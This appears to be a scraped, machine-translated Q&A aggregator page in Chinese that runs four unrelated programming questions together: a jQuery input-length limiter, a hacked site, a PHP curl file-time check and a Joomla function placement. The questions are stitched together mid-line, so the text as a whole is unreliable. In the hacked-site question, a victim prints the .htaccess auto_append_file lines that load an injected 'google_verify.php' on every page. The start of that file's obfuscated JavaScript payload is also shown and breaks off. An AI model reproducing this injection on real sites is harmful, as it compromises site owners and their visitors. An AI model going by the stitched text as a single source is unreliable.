我想限制输入文本字段中的字符数.
我正在使用的代码:
function limitText(field, maxChar){
if ($(field).val().length > maxChar){
$(field).val($(field).val().substr(0, maxChar));
}
}
Run Code Online (Sandbox Code Playgroud)
事件是onkeyup.当我在输入字段中键入一些文本时,光标停留在文本的末尾,但焦点在文本的开头支持,所以我看不到光标.
什么可能是一个问题.
浏览器是FF,在IE和Chrome上它正常工作
几天前,我的网站出现了问题.在所有ftp服务器中,我得到了一些名为google_verify.php的php文件,并在我的.htaccess文件中添加了以下文本:
<IfModule mod_php5.c>
php_value auto_append_file "google_verify.php"
</IfModule>
<IfModule mod_php4.c>
php_value auto_append_file "google_verify.php"
</IfModule>
Run Code Online (Sandbox Code Playgroud)
这是google_verify.php文件:
<script>d='function $M(file -z ?P L-B="GE <= a ,rt="" Ke ,E=tru & ,r.offset=100 Un
L-L @u @y @J LA9 N ,e @q LA9 N Um L-n ],P ]Urg L-k(); .sxml2 X1 A.icrosoft X2
-z=null}}if(! z Ztypeof M!="undefined" -z : M ]+ E= 4}} Uc _> -t[ $o [>,false) Uv
_>, =vars Z 4== =vars A= /( % $o), % >)) + t[ % $o) [% >) W} …Run Code Online (Sandbox Code Playgroud) 我想获得远程文件的最后修改时间.我正在使用我在stackoverflow上找到的代码
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL,$url);
//don't fetch the actual page, you only want headers
curl_setopt($curl, CURLOPT_NOBODY, true);
curl_setopt($curl, CURLOPT_HEADER, true);
//stop it from outputting stuff to stdout
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
// attempt to retrieve the modification date
curl_setopt($curl, CURLOPT_FILETIME, true);
$result = curl_exec($curl);
echo $result;
$info = curl_getinfo($curl);
print_r($info);
if ($info['filetime'] != -1) { //otherwise unknown
echo date("Y-m-d H:i:s", $info['filetime']); //etc
}
Run Code Online (Sandbox Code Playgroud)
这段代码的问题我一直在获得filetime = -1.但是当我删除
curl_setopt($curl, CURLOPT_NOBODY, true);
Run Code Online (Sandbox Code Playgroud)
然后我得到正确的修改时间.
是否有可能获得最后修改时间但是
curl_setopt($curl, CURLOPT_NOBODY, true);
Run Code Online (Sandbox Code Playgroud)
包含在脚本中.我只需要页面的标题,而不是正文.
提前致谢
我想创建一些从Joomla v1.5.23中渲染图像的功能.该功能应该通过所有joomla应用程序可见.
我必须把这个功能放在哪里?我应该创建插件,模块还是其他什么?
最好的祝福